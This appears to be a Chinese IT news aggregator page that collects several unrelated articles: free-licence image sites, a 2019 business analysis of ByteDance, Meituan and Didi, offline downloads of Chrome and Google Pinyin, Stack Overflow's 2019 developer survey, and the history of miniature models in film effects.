Quantcast
Channel: IT社区推荐资讯 - ITIndex.net
Viewing all 15892 articles
Browse latest View live

为了避免惹上官司,你可以在这些免版权图片网站里寻找素材

$
0
0

因为一张黑洞照片,视觉中国被顶上了风口浪尖,讨论的焦点主要集中在「图片版权」上。网上的图片一搜一大堆,但版权归属错综复杂,一不小心就会惹上官司。哪里才能找到高质量、同时又可以随意使用的图片呢?

Creative Commons(非营利组织)在 2009 年推出了 CC0 协议。在作品中使用该协议,代表创作者已经放弃了著作权,将其贡献给公众免费使用。任何人都可以复制、修改、发行和表演作品,甚至用于商业用途,无需经过同意。

有不少网站就专门提供符合 CC0 协议的图片,你可以随意进行下载,并使用它们。下面我们就向大家推荐一些高质量,并且免版权的图片网站。

Unsplash

https://unsplash.com/

Unsplash 是最早使用 CC0 协议的图片网站。这里的作品数量多、质量高,不少内容创作者都会来这里寻找图片资源。不过从 2017 年 6 月开始,Unsplash 用一个自家的标准替代了 CC0 协议,禁止将原版图片直接打印售卖,也不允许图片被用于创建类似 Unsplash 的竞品网站。除了上述两条,Unsplash 上的图片依然允许随意使用。

这里的图片以摄影作品居多,风景、人物、物品,可以满足大部分创作需求,拿来当桌面壁纸也很合适。网站不需要注册就能下载原图。

Pexels

https://www.pexels.com/

Pexels 上面的图很丰富,除了摄影作品以外,还有一些专门表达情绪、场景的图片。

Pixabay

https://pixabay.com/zh/

Pixabay 上面包含照片、插画、矢量图、视频,种类多,质量也高。用户可以直接下载 2K 以下的图片,超过 2K 的原图需要注册才能下载,注册是免费的。

StockSnap

https://stocksnap.io/

StockSnap 上面的图片也很丰富,以摄影作品为主,用户可以直接下载原图。不过在搜索一些关键词时,网站会推荐 Shutterstock 的付费图片,标注「赞助商提供」。如果只想下载免费图片,避开它们就好。

Visual Hunt

https://visualhunt.com/

Visual Hunt 上的图片质量很高,首页还提供色彩选项,让你按颜色寻找图片。在图片页面会显示详细的调色板数据,包括色彩编码、比例等,方便寻找合适的配图,摄影爱好者也能学习后期。

从一个个网站中寻找想要的图片,很耗时。有的网站把免版权图片做了聚合,让你可以更快速地进行检索。

Librestock

https://librestock.com/

Librestock 是一个免版权图片的聚合网站,内容源包括很多顶级的图库,搜索时比较省力。不过图片主要都是摄影作品,一些特殊场景、情绪表达的内容较少。Librestock 还有一个搜索免版权视频的兄弟网站,就在首页顶端。

Everypixel

https://www.everypixel.com/

Everypixel 是一个图库聚合网站,搜索之前需要选择「免费图片」,出来的结果就是免版权图片。

这些聚合类的网站只是方便搜索,下载时还要跳转到对应的网站,可能会遇到需要注册账号的情况。

为了规避版权纠纷,我们可以优先使用符合 CC0 协议的图片,但是这并不能解决所有问题。CC0 协议图片主要都是由摄影师贡献,内容以风景、人物居多。一些新闻图片、公共事件的照片,这些网站并不能提供。

尽量寻找官方提供的照片、图片要注明来源,这是作为内容创作者应该做的。而不是忽视版权问题,随意用搜索引擎找图,随意使用。

关注极客之选公众号(GeekChoice),回复关键词「免版权」,获取所有免版权图片网站链接。

图片来源:Unsplash

编辑:Rubberso


裁员、补课、开源节流:详解TMD大盘整

$
0
0

三小巨头的大部分问题都因为它们已经太大了——却还不够大。


张珺 房宫一柳|文

宋玮|编辑

 

2019年开始,以一路高歌猛进为主旋律,借助移动互联网势能一跃而起的小巨头们纷纷收窄战线、关注变现。这是难得的寂静时刻。

 

既像大巨头面临资本市场和裁员影响压力,又像小公司一样面临现金流焦虑。作为创业公司阶段顶峰的TMD,日子并不好过。有人评价,最热的地方也开始飘雪,冬天才是真的来临。

 

和多数人想的不一样,他们正在遭遇的并不是一个冬天,因为冬天意味着还会有春天。今天其实是“新常态”的来临,也就是说——现在这样才是正常的。不管是BAT、TMD、小公司,他们不是进入了又一个冬天,只是回归到大红利消失的正常经营态。

 

所有公司都会很艰难,而公司体量、商业模式、烧钱多少其实和公司将要面临的困境大小并无必然关系,现金流,才是平稳度过调整时期的生死命门——这也是目前TMD盘整的核心关键词。

 

前期红利用尽,小巨头再变大的路径在哪里?从现在来看,要么做深,要么做宽。

 

对于想做深的美团,2B有广阔的增长空间,但2B业务量对其实质意义需要时间。过去美团和饿了么之战,是饿了么的存亡之战,今天美团和阿里在生活服务领域全面开战,是美团的存亡之战;

 

对于想做宽的头条,2018年不少内部孵化的新产品陷入增长停滞,短视频国际化商业化变现难度很大,同时面临Google和Facebook可能的围剿压力和自建广告销售网络的挑战;


对于既想做深又想做宽的滴滴,也是三家中唯一在主营领域有垄断位置,但面临着很强的政策不确定性。国内,高德的新聚合模式正在起量,其视为重点战略的国际化,印度印尼有厉害的本土玩家,欧洲北美有Uber、Lyft,中东有刚被Uber收购的Careem,可拓展空间受限。

 

根基未稳的新业务在前,大而不强的主营业务在后,TMD前路漫漫。去年人们还在期待小巨头何时变成大巨头,但对于身处其中的小巨头,在很长时间内,他们首要考虑的依然是——如何活下去。


 

字节跳动:尖子生的一次回调

 

据《财经》了解,字节跳动上一轮(F轮)投后估值达到800亿,在和财务投资者的对赌条款中,承诺以不低于900亿美元估值上市。字节跳动的上市条件相对其他公司是最成熟的,市场行情转好,财务投资者希望公司可以再尽快上市,这和倡导“延迟满足感”的字节跳动创始人张一鸣来说并不完全一致。据字节跳动投资人预测,他们估计字节跳动的上市将是千亿美元以上级别的上市。


2019将是这家明星公司的关键一年。但春节刚过,字节跳动就悄悄回调了收入目标。


“我们公司收入每年超过300%增长。”一位字节跳动员工颇为自豪地告诉《财经》记者。据《财经》了解,2015年字节跳动营收约16亿人民币,16年是60亿元人民币,2017年约160亿元,2018年500亿元左右。


大体量无法一直保持超过300%的增长。据《财经》记者多方了解,该公司2019年营收目标为1200亿-1400亿元,保底数字在1000亿-1200亿元上下。


一位字节跳动商业化员工说,2018年收入成绩完成本就不容易。所以2019的营收目标相对过往的高增长已经比较保守,且比春节前的原定目标有所收紧。但能达到1000亿,已经是业界非常好的成绩。


2018年字节跳动收入目标勉强达标的原因在于:


1.对被视为除头条外另一个收入引擎的抖音估计乐观,实则其收入下半年才开始起量。


2.内涵段子被关、和抖音广告邱少云事件对营收带来影响。


3.新产品只有极少数脱颖而出——如“懂车帝”达到百万日活,并保持增长趋势,而“新草”等绝大多数产品增长已经停滞,教育类产品gogokid的日活和付费率都不高。“2018年有项目花了三个亿,但是日活还不过万。”一位内部人士说。


4.支出上:市场费用很高,Tiktok在海外的投放支出巨大,国内抖音投放支出每月多在亿级以上。


字节跳动此前飞速增长的秘诀之一是:压缩利润,把高收入全部再次投入,以换来高增长。2018年抖音从千万日活增长至超过2亿,在全球实现了3亿日活总量,这背后其实是全公司数十亿美元的投入。


因此,当收入增长放缓,也势必要求管理者要更好更严格的控制支出。2019年年初,张一鸣在内部提出“去肥增瘦”战略。“去肥增瘦”就是拿掉效率低、不必要的部分,提高单位人和单位资金的价值。


2019,字节跳动盘整的关键词是“开源”和“节流”。开源:在提升广告收入的基础上,优化以广告为主的收入结构,在直播、搜索、内容付费、电商、游戏联运等业务上探索更多收入空间。


节流:重点提升增长投入的效率。除了更加严格的预算审批和内部贪腐监管外,对把握产品花钱推广的时间点和力度也在加强,而不是产品还没有形成一定的自然增长就砸钱买时间;同时,调整了员工的OKR,OKR中包含“去肥增瘦”的环节,尤其纳入了产品的ROI(投入产出比)。


字节跳动面临的主要问题是,信息分发产业链条较短,向上做深空间不足。 而做广——国际化、企业服务等业务拓展领域还并不清晰,需要前期大量的投入来支撑。其中,国际化将是头条未来最大的看点和增长点。


据《财经》了解,TikTok国际化将承担字节跳动2019年用户流量增长的主要任务,但除日本外的其余地区TikTok商业化还在初期。目前TikTok国际化团队只有在日本成立了分公司Bytedance株式会社,其贡献了字节跳动国际化大部分海外收入。


而另一个国际化赛道企业服务产品Lark,在新加坡注册了公司Lark Technologies并持续扩张团队,Lark在国内已从字节跳动广告服务商向外拓展了几百家客户,但国外商业化路径还在摸索,其直面Google、微软等企业服务产品的竞争。


除了流量增长任务,字节跳动还在试图搭建全球的广告网络。所有海外做广告收入的产品,都绕不开与Facebook、Google竞争,后者有着全球最大的两套广告销售网络。而如猎豹等公司中国产品出海的历史表明,如果不自建广告销售网络,自己的命运就永远被掌握在FB或Google手中。


国际化商业化路径很艰难,但一旦打开市场就和AT不一样。头条内部认为这是最难也最值得做的事情,只是时间快慢问题。



总体来说,内外压力对字节跳动影响不算太严峻。“就像高考变难了,对尖子生的影响也不会很大。”上述内部人士说。


据了解,字节跳动暂无裁员计划。员工总数在4.6万人上下,人员增长Head Count视部门而定。如国际化、企业产品Lark等仍在持续招人。在这些部门,最看重的是应聘者的创业精神。


脉脉报告显示,字节跳动人才持续扩增,是2018年人才流入量最多的企业,2017年在这一位置上的是美团点评。

 

美团点评:终止一次分拆、开始一段长征

 

相比2018,美团点评在2019年进入业务收缩期。一度被外界视为“无边界”的美团已经悄悄有了边界——以“Food”为核心,在产业链上下游做深做强;边界以外的新业务将更加审慎地投入。

 

美团2018年两个备受关注的新业务:网约车和闪购。前者因政策环境不明朗和投资者压力等因素导致的“可做性”降低,基本按下了暂停键,后者对接线下系统太难,近期也没了声音。除此之外,美团还关闭了分时租赁、共享充电宝等尝试性新业务,去年下半年很少再开展新业务。

 

2019,除了传统的到店、到家两大核心业务,美团的快驴、小象生鲜(及买菜业务)、餐厅管理系统(RMS)也是重点投入对象。


据《财经》记者了解,美团内部曾计划分拆小象,并接触了少数投资人,但最后关头被美团CEO王兴叫停。主要原因在于创始人认为,美团的使命是帮大家吃得更好,而除了到店和外卖,买菜也是吃的一个重要场景,所以不应该分,即使困难重重也应该留在公司内部做。

 

美团曾经有过ABCDE五大竞争者,分别是阿里、百度、携程、滴滴、饿了么,随着业务重点的转换,百度、滴滴逐渐淡出,饿了么合并入阿里。新竞争者出现,比如在今年最热的买菜市场,美团面临盒马、叮咚买菜等竞争,在快驴进货业务上,面临与新兴独角兽美菜的正面竞争。



美团与阿里的交火点远比大家预想中密集。阿里的口碑、饿了么、飞猪、盒马直接对垒美团。除此之外,还将与对网约车虎视眈眈的高德、蚂蚁重资的Hellobike间接对战。间接对战并不意味着战役更小,而是炮火到来的时间是不确定的。据了解,美团内部还在重新思考团购业务。

 


记者了解到,2019年4月3日,饿了么和口碑在杭州举办本地生活年度启动会,该会议取名“烎(yín)战”。该名字有两个寓意,一为曙光,二为开火。

 

饿了么之前打美团的思路是两点:1,阿里流量的注入;2,烧钱。但上伐谋、中伐交、下伐兵,目前饿了么还只是在中段作战,即试图切断美团的外部联动、磨平本来的资源优势。

 

一位电商资深人士告诉《财经》记者,所以供给侧改革对美团至关重要,因为如何让商家更低成本赚更多钱,依赖美团而活着,才是护城河。即结合商家的SAAS服务、ERP服务、提高运营效率去推进外卖在内的“Food”业务。

 

少有人知的是,即使在2018年,美团在买菜这个业务上烧的钱也并不比打车少,只是外界的关注点都在打车上。就像多数人在美团宣布架构调整之前,都没意识到快驴的负责人是个SVP,以为只是一位总监在负责。

 


但美团目前对线下商业的渗透和改造是远远不够的。供给侧改革和持久性外部战役都需要一个强大的组织调度大脑。服务电商和实物电商都是零售,都需要零售“中台”,阿里中台体系在互联网公司中最为完善,而美团这个体系的搭建才刚刚开始。

 

目前公司内最有战斗力、几乎负责过所有业务线的王慧文,亲自负责平台建设(用户平台+LBS平台)。据了解,美团内部非常反感“中台”的概念,他们认为,每个东西都有自己的名字,但没有统一的名字。

 

强化平台性建设、新业务更替,以上全部反映在美团目前的组织架构中。TMD中,美团的高管团队也是最稳定的。

 

同时,美团启动了三年来首次大规模裁员。目前裁员人数已达千人左右,部分岗位的人员离职后暂不做补招。快驴、小象、到家、到店等事业部仍在进行社招,其他事业部的Head Count有缩编但未做冻结。

 


美团是TMD中对内对外最强调“基本功”,某种程度上体现务实,这一方面源于创始人性格,一方面源于美团是TMD三家中唯一的上市公司。

 

想清楚没想清楚都试一试,想清楚就激进,不对就立刻回撤,这是美团的缺点,也是优点。回头来看,其2018年确实出现了战略误判,好在及时调整了期望值。目前美团点评股价53.6港元,公司总市值3074.52亿港元。

 


滴滴:最大的难题和最大的想象空间


背负着巨大公众和政府压力的滴滴,迎来了2019。“多数公司的2019是生死之年,对于滴滴,我们2018已经死过一次了。”一位滴滴员工说,坏消息中唯一的好消息也许是,他们的2019应该不会比2018更差了。

 

两起顺风车恶性事件之后,滴滴从2018年下旬到现在,重头工作就是——补课。记者在今年3月到访滴滴办公室,在现场看到,“保护乘客安全、全面落实企业安全主体责任”、“深刻反思、警钟长鸣”的大红色标语仍然悬挂在公司。员工眉头紧锁、步履匆匆,是TMD三家中气氛最凝重的一个。

 

过去滴滴还是创业公司的思路,即最看重平台规模,包括订单量、司机数、乘客数、GMV等,其次是收入(滴滴平台抽取的佣金);顺风车事件发生后,滴滴把“安全”放在了首位,并启动了一系列合规、组织调整计划。

 

合规、收缩是滴滴的关键词,其盘整计划集中体现在以下两点:


1. 关停并转。滴滴2018年亏损扩大,全年亏损总额从2017年的25亿元激增到109亿元人民币。2019年会聚焦当前最重要的出行主业,对非主业进行“关停并转”,整体裁员比例占15%,涉及2000人左右。
裁员的重点业务是:外卖、顺风车、租车。目前滴滴外卖的国内业务、酒店业务将被全面关停,部分外卖团队转岗至国际化部门,外卖继续试水国际化。同时,滴滴将在安全技术、产品和线下司机管理及国际化等领域招聘2500人。

2.大型组织调整。其中包括:专快车事业群合并,成立网约车平台公司,目的是为了全面合规,全面合规之后,快车价格可能会逐步提高; 
到底是车主第一,还是乘客第一,过去滴滴是没有明确结论的,看起来是“两个都重要,两手同时抓。”但事实上,只有牢牢控制住供给端(车主)才有护城河,同时,因为用户感知最深的是车主,而不是后端的平台,所以只有车主矛盾解决了,才能真正解决用户和平台的矛盾。这是为什么滴滴会把原小桔车服和汽车资产管理中心(AMC)合并,成立车主服务公司。同时,滴滴大将付强目前all in在客服上。



在TMD中,滴滴的困境最复杂,也最难解。

 

商业模式上,生意是好生意,但投入太多太大太久,资本回报率不够(滴滴累计融资和烧掉的钱和估值对比),滴滴累计融资208亿美金,估值是560亿美金。

 

供给上,全部解决司机的合规性,订单量会大大折损,司机供给会出问题;不解决,政府不答应,现在只能是部分解决和慢慢解决,同时大力疏通政府关系。

 

寄予厚望的国际化,是赚钱的,因为补贴少,客单价高。但纵观全球,欧洲北美有Uber、Lyft;东南亚,滴滴曾是Grab不小的股东,和Grab共同反Uber,但2018年3月Grab合并Uber东南亚,Uber成为新公司第一大股东,软银第二大;在中东,滴滴曾是本地平台Careem的小股东,共同反Uber,但是Careem上月被Uber以31亿美元收购。拼资本,还是Uber更财大气粗。

 

所以,滴滴不能像之前一样寄希望少数股权投资却真正解决战略问题,像此前10亿美金把巴西的99taxi全资收下来自己运营才有希望。虽然难度极大。

 

头条内容、美团消费、滴滴交通,滴滴的想象空间最大。但无人驾驶的故事还未开始,全球最大的一站式出行平台的梦想还未实现。滴滴纵深走是持久战,横向走延展性不够,就这样被困在了当下。这就是它的2019 。

 

TMD的三个掌门人,张一鸣、王兴、程维,三人年龄相近,都是少壮派代表,但三人世界观、人生观截然不同。市场快速增长,带领企业也快速增长的CEO,是好CEO。当市场不快速增长,带领企业穿越周期和迷雾,做持久而高效率的增长,才是对CEO智慧的真正大考。

 

《财经》记者曾问红杉中国创始人沈南鹏,TMD三家谁后劲更足?他回答:“这取决于你看3年后、5年后还是10年后。”对于这个回答有很多种解答,多数解答总能找到合理的逻辑。但如果把时间维度拉得更长,看10年、30年、50年,甚至100年,眼前的敌人也许都不是敌人,眼前的优势也许都不是优势,眼前的难题也都不是难题。没有人可以预测50年100年之后的结局,正如没有人可以预测2019的结局。







晚点Late Post给读者准备的小礼物:

每一期文章的封面图片都来自一部电影,代表着晚点团队对文章主题的认识。我们将等着你们在留言区与我们交流,最先猜到电影来源、猜中选图用意的朋友,将收到由记者们(或她的猫)签名的当期《财经》杂志一份:)






 

谷歌浏览器Chrome离线包下载

$
0
0

由于谷歌浏览器Chrome无法在中国大陆下载,因此提供文件来源于谷歌官方网站的谷歌浏览器Chrome离线包(Windows 10/8.1/8/7 64 位)下载。

 

下载谷歌浏览器Chrome离线包

 

Google Chrome是由 Google开发的 免费网页浏览器[9]。Chrome是 化学元素”的英文名称,过去也用Chrome称呼浏览器的外框 [10][11][12][13]。Chrome相应的 开放源代码计划名为 Chromium[14][15],而Google Chrome本身是 非自由软件,未开放全部 源代码[9][16]

Chrome代码是基于其他开放源代码软件所编写,包括 Apple WebKitMozilla Firefox,并开发出称为“ V8”的高性能 JavaScript引擎[17]。Google Chrome的整体发展目标是提升稳定性、速度和安全性,并创造出简单且有效率的用户界面 [18]CNET旗下的 Download.com网站评出的2008年6月最佳Windows应用程序,其中Google Chrome排名首位 [19]

StatCounter统计,截至2018年第一季度,Google Chrome在全球桌面浏览器的 网页浏览器的使用分布为66% [20]

Chrome 50结束了对 Windows XPWindows Vista系统的支持 [21],这两个系统上的最后版本为49.0.2623.112 [22]

 

谷歌拼音输入法离线包下载

$
0
0

由于谷歌拼音输入法无法在中国大陆下载,因此提供文件来源于谷歌官方网站的谷歌拼音输入法离线包(Windows 10/8.1/8/7 64 位)下载。

 

 

下载谷歌拼音输入法离线包

 

 

谷歌拼音输入法是由 谷歌中国实验室开发,于2007年4月2日发布 [2]汉语拼音输入法。10月25日成为Google的正式产品之一 [3]

谷歌拼音输入法1.0.15.0版盗用了 搜狗拼音输入法的词库 [4],随后谷歌发布致歉声明。并于2007年4月9日发布1.0.17.0版,称改用了自家的词库。

随后, Google在其 博客“Google 黑板报”上发布有两份声明,第一份是对盗用词库表示致歉明白卡 [5],第二份则称 输入法中包含 Google工程师申请的专利。

谷歌拼音输入法在PC端已经停止更新。2018年6月,下载页面完全从网站撤下,而文件则至2019年3月仍未 撤下。用户在PC上使用已安装的谷歌拼音输入法无法登录Google账号和使用其自动同步功能。

Java收入最低,996人口仅2%:2019全球开发者调查结果公布

$
0
0

而在最近被热议的工作时间问题上,这份覆盖了全球 179 个国家和地区、接近 9 万名软件开发者的统计告诉我们,996 并不是什么码农的代名词:有超过 50% 的开发者每周的工作时间为 40-44 小时,而每周工作超过 70 小时的人数仅为 2%。

调查结果链接:https://insights.stackoverflow.com/survey/2019

近日,Stack Overflow 发布 2019 年开发者调查报告,今年早些时候有将近 9 万名开发者参加了这份平均用时 20 分钟的调查,报告涉及开发者基本情况、技术、工作、社区、方法论多个维度。此次调查结果反映出以下主要趋势:

  • 增长速度最快的主流编程语言 Python,在今年的编程语言排行榜上超越 Java,位居第二受喜爱的语言(仅次于 Rust)。

  • 过半参与者在 16 岁时写下了自己的第一行代码。

  • 运维专家和网站可靠性工程师薪资最高,经验最丰富的开发者对自己的工作满意程度最高,找新工作的比例也最低。

  • 调查涉及的国家中,中国开发者最乐观,他们认为现在的人们要比父辈拥有更好的生活。位于法国、德国等西欧国家的开发者对未来最不乐观。

  • 关于影响生产力的因素,不同类型的开发者提及不同的挑战。男性开发者更倾向于认为承担非开发工作是较大的问题,而性别少数群体更倾向于认为恶劣的工作环境是较大的问题。

开发者类型

首先是开发者类型,大约 50% 受访者是全栈开发者,约 17% 是移动端开发者。今年每位调查参与者的开发者类型中位数是 3,最常见的组合是后端、前端和全栈开发者。高度关联的开发者类型组合包括数据库管理员和系统管理员、运维专家和网站可靠性工程师、学术研究者和科学家、设计师和前端开发者。

开源贡献

在 Stack Overflow 上大约 65% 的专业开发者每年为开源项目做出一次或多次贡献。开源项目的参与因语言而异。使用 Rust、WebAssembly 和 Elixir 语言的开发者对开源项目的贡献最大,而使用 VBA、C# 和 SQL 语言的开发者贡献率约是前者的一半。

教育背景

从世界范围来看,大约四分之三的受访专业开发者拥有学士或更高学位,这与历届调查结果保持一致。然而,没有完成学位也取得成就的专业开发者也并不少见。

年龄

20-35 岁的开发者仍然是全球软件行业的中坚力量,占比接近 70%。

今年对科技行业产生最大影响的人是谁?

我们询问受访者谁是 2019 年最有影响力的人。除了特斯拉、亚马逊微软、谷歌、Facebook 和 Apple 等公司的 CEO 外,受访者提到了构建和维护 React.js 和 Vue.js(今年最受欢迎的 web 框架)的开发者,以及 Linux 世界和其他技术领域的领导者。受访者也提到了几位世界领袖,同时相当多「谦虚的」受访者提名他们自己……只有一名女性位居该名单的前 25 位,她是 AMD 公司 CEO 苏姿丰。

编程、脚本和标记语言

JavaScript 连续七年成为最常用的编程语言,Python 的排名再次上升。今年,Python 在总排名中险胜 Java,而 t 去年和前年分别超过 C# 和 PHP。现在,Python 是增长最快的主要编程语言。

最受喜爱、最令人害怕和最想使用的编程语言

Rust 连续四年成为最受受访者喜爱的编程语言,紧接着是现在增长最快的主要编程语言 Python。这意味着,相较于其他编程语言,更多开发者愿意继续使用这两种编程语言。

VBA 和 Objective-C 成为今年最令开发者害怕的编程语言,而这意味着当前很大一部分使用相关技术的开发者没有兴趣继续使用这两种编程语言。

Python 连续三年成为最想使用的编程语言,这意味着尚未使用 Python 的开发者愿意使用这种编程语言。

最受喜爱、最令人害怕和最想使用的 web 框架

React.js 和 Vue.js 分别成为开发者最喜爱和最想使用的网页框架,而 Drupal 和 jQuery 则最令人害怕。

最受喜爱、最令人害怕和最想使用的其他框架、库和工具

.NET Core 和 Torch/PyTorch在各自生态系统中的使用者数量不如其他工具(分别是 .NET 和 TensorFlow),但它们更受开发者喜爱。Chef 和 Cordova 位列最令人害怕榜单的榜首。

最受喜爱、最令人害怕和最想使用的数据库

Redis 连续三年位列最受喜爱的数据库榜首,这意味着相比其他数据库,更多开发者愿意继续使用 Redis。Couchbase 和 Oracle 是最令人害怕的数据库,MongoDB 连续三年成为最想使用的数据库

最受喜爱、最令人害怕和最想使用的平台

Linux 再次成为开发者最喜爱的平台,Docker 和 Kubernetes 的排名也很高。WordPress 是最令人害怕的开发平台,很多开发者表示他们想使用 Docker 和 AWS进行开发工作。

最流行的开发者环境

今年,Visual Studio Code 成为最流行的开发者环境。不同类型和角色的开发者会选择不同的环境,不过 Visual Studio Code 在全球范围内成为首选。为移动 app 写代码的开发者更倾向于使用 Android Studio 和 Xcode。运维专家和网站可靠性工程师倾向于使用 Vim,而数据科学家更喜欢使用 IPython/Jupyter、PyCharm 和 RStudio。

全球最高薪酬开发者使用的语言

全球范围内,使用 Clojure、F#、Elixir 和 Rust 的开发者工资最高,薪酬中位数超过 7 万美元。最高薪开发者使用的语言因地区而有所不同。在美国,Scala 开发者薪酬最高,而在印度 Clojure 和 Rust 开发者薪酬最高。

不同类型开发者的薪资

工程经理、网站可靠性工程师、运维专家和数据科学家/工程师的薪资最高。在全球范围内薪资最高的开发者职位是一致的,不管是印度、欧洲,还是美国。

每周工作时长

今年是第一次,调查统计了受访者每周工作时长,我们可以看到大约 3/4 的开发者每周的工作时长少于 45 小时。高级管理人员、产品经理、工程经理工作时间可能更长,东欧、印度和美国的开发者每周工作时间也较长。

报告统计范围

本次报告统计了来自全球 179 个国家和地区的 88,883 名软件开发者(有效回复)。统计时间范围是 2019 年 1 月 23 日至 2 月 14 日。

看完了这份统计,你是否已经对自己在业内所处的位置有所了解了?

在电影技术方面,美国究竟比中国先进多久?

$
0
0

既然题主提到了《独立日》,里面最震撼我的就是外星人毁灭地球地标建筑的镜头,所以在这里,我想说一说电影里涉及的 物理特效技术,让我们从发展史的角度看看中美之间的差距。

在90年代甚至之前的美国电影里,我们能够 肉眼可见的差距往往在于 灾难片科幻片怪兽片等超越现实的题材类型。虽然当时根本没有win98,更没有如今炫目乱真的CG特效,但 从电影诞生开始,美国的好莱坞电影人们就已经开始在以微缩模型为代表的物理特效领域探索了

在没有任何电脑辅助的情况下,好莱坞依然拍出了令当时人们惊呼的特效镜头,这种在技术领域敢于冒险与探索的精神在时间的积累下推动着好莱坞的快速发展,慢慢拉开了与世界电影的距离。

由于物理特效技术包含的细分内容较多,以下我用电影里运用的 微缩模型来举例:

起源(1900s~1960s)

微缩模型的使用几乎与电影创作本身一样古老,它的诞生源于人们对于不存在事物的想象,对于难以拍摄的镜头的需求,常常在电影拍摄中用来代替被摄的实际对象,以达到以假乱真的效果。

1902年,法国导演 乔治·梅里爱《月球旅行记》可以算作电影史上首部运用微缩模型拍摄的电影。

《月球旅行记》中的月球模型呈现效果

这部基于凡尔纳小说《从地球到月球》改编的电影在“世界电影导演第一人”兼魔术师的梅里爱的诠释下,创造了一个直径约40厘米的半立体的月球世界。虽然 当时对于电影的理解还是局限在银幕戏剧的二维平面阶段,但重要的是他开创了一个全新的奇幻世界,引导着后来的电影在疯狂的想象中冲破现实的桎梏。

1927年由 弗里茨·朗导演的 《大都会》作为一部真正意义上的科幻电影,呈现出的反乌托邦世界中 装饰艺术风格的城市也是通过微缩模型进行搭建的。

模型师们正在为《大都会》搭建迷你城市

1933年版本的黑白电影 《金刚》则首次将动态模型引入电影世界,用橡胶、动物毛发和真人表演结合,从而呈现出了影史中经典的一幕,开创了 动作特技片的先河。

《金刚》在微缩模型物理特效技术上取得了标志性的突破

1954年日本特摄片 《哥斯拉》在《金刚》的基础上更进一步,更深深地影响了日本之后怪兽片的热潮。哥斯拉也成为了日本国际流行文化象征之一。

《哥斯拉》为《奥特曼》系列的拍摄技术奠定了基础

迈向新的高度(1960s~1990s)

斯坦利·库布里克被认为是有史以来最伟大的电影制作人之一,他于1968年搬上银幕的 《2001太空漫游》也被认为是影史最具影响力的电影之一。影片中呈现出的人类对于未来与宇宙的想象至今仍为人津津乐道。 其中出现的飞船与登陆舱画面则全部由微缩模型在强光灯下拍摄,以此来模拟宇宙中太阳照射的光线,而影片制作的高质量和对于时代的前瞻性也为其赢得了四项奥斯卡提名并拿下最佳视效奖,并不断被后来的科幻电影所致敬。

《2001太空漫游》中的飞船模型

1977年 乔治·卢卡斯《星球大战》中为了呈现出太空史诗的壮阔,也大量地使用了逼真的微缩模型,并且 将模型做旧以呈现出使用的痕迹,呈现出一种前所未有的美学风格,而当时制作这些模型的ILM(工业光魔)也成为如今世界顶级的特效公司。

《星球大战》里略带僵硬感的微缩模型定格特效 《星球大战》中的灭星者号飞船模型

1979年由 雷德利·斯科特执导的 《异形》则对动态模型做出了新的突破,胶状光滑的质感、尖牙利齿与机车形态结合而成的黑色怪物也成了无数小孩的童年阴影。1982年上映的 《银翼杀手》则通过微缩模型创造了一个 赛博朋克质感的未来洛杉矶,为未来许多科幻电影的气氛设定了独特的基调。

模型师在为《银翼杀手》的赛博朋克城市做涂装 虽然是模型,但也要达到电影镜头级的细节量

在1993年之前,电影对于虚构世界的呈现受到微缩模型的规模和真实度限制,而 斯蒂芬·斯皮尔伯格《侏罗纪公园》则突破了这一边界, 通过CGI技术结合微缩模型创造出了一个无可挑剔的恐龙王国

斯坦·温斯顿工作室为《侏罗纪公园》做的物理特效

自此开始,尽管仍然被大量电影使用,并且也创造出了众多留名影史的作品,但微缩模型开始慢慢地被CG取代,很多情况下只有在需要还原爆炸、水体等计算机难以模拟计算的场景时制作人才会回到这一传统。

模型师在制作被外星人炸毁前的白宫

微缩模型使用的另一个典型便是1996年的 《独立日》,受到当时技术上的限制,难以模拟出真实的爆炸场景和火焰,于是制作团队依照现有的白宫制作了一个1.5米高、5米宽的模型, 以CG与实体模型结合的方式呈现出爆炸的场景,并且达到了在当时算是非常不错的效果。

《独立日》里外星人攻击下的爆炸效果

1997年 詹姆斯·卡梅隆《泰坦尼克号》的出现绝对算是电影史上最重要的事件之一,而站在技术最前沿的卡梅隆在当时也受制于CGI技术的不成熟,选择用微缩模型来拍摄泰坦尼克号的断裂场景。此外,剧组还根据原船厂的图纸还原出真实比例的模型用于模拟海面上的拍摄。

《泰坦尼克号》中的船舱断裂镜头 从图中可以看到泰坦尼克号1:20的模型大小 在《泰坦尼克号》微缩模型拍摄中的细节

2001年 《哈利波特》开启的魔幻宇宙中 霍格沃茨城堡也是用微缩模型拍摄并后期合成的,如此庞大奢侈的模型建设所花费的制作人员总时间合计达到了惊人的74年。

在镜头中合成的霍格沃茨城堡镜头 搭建在摄影棚中的霍格沃茨模型

2001年-2003年 彼得·杰克逊《指环王》三部曲毫无疑问将电影中微缩模型的制作带至了巅峰。为了将托尔金奇幻的中土世界带入银幕,彼得·杰克逊使用了大量的微缩模型拍摄,后期再与其他场景合成, 像米那斯提力斯王城、诸王之门、瑞文戴尔等场景等鸟瞰其实都是微缩模型

黑魔王索伦管辖的魔多塔模型 壮阔雄伟的米那斯提力斯王城模型

对真实质感的追求(2000s至今)

尽管CG技术的发展在不断地刷新观众的预期,微缩模型在新世纪仍有不少的追随者,手工制作的魅力依然不减。当代电影人中要数对真实场景与微缩模型执念最深的,莫过于导演 克里斯托弗·诺兰

罪恶黑暗的哥谭市

在2008年的 《蝙蝠侠:侠影之谜》中,哥谭市的还原就利用了微缩模型,而后的列车撞击场景也使用了大比例模型。2010年的 《盗梦空间》中雪地堡垒、2014年的 《星际穿越》中的飞船、2018年的 《登月第一人》中的火箭等等,都是非常成功的运用微缩模型来实现视觉效果的电影作品。

诺兰蝙蝠侠系列中用模型模拟的列车撞击镜头 《盗梦空间》中的雪地堡垒模型 《盗梦空间》中雪地堡垒的模型爆炸场面 《星际穿越》中永恒号空间站微缩模型

除了诺兰之外,2017年上映的 《银翼杀手2049》作为《银翼杀手》的续篇, 出于致敬和还原真实的城市质感的目的,也运用了大量的微缩模型拍摄,通过3D软件雕刻出板材之后再手工上色,在合适的灯光与镜头运动下,呈现出的效果还甚于CG。

《银翼杀手2049》中的大型微缩模型场景

微缩模型制作技术流传了上百年依旧在被当今电影人使用,便足以说明它有着独特的魅力。而纵观微缩模型在电影发展中的历史,可以发现它与 幻想题材创作紧密联系在一起,为这些人类想象力边界所达的地方创造了具体的视觉形象。

尽管在CGI技术日新月异的今天已经很少有导演愿意完全回归这一老派的制作方式,但微缩模型仍然在不断地给人们带来超乎真实的视觉体验,为特效创作贡献着自己独特的力量。

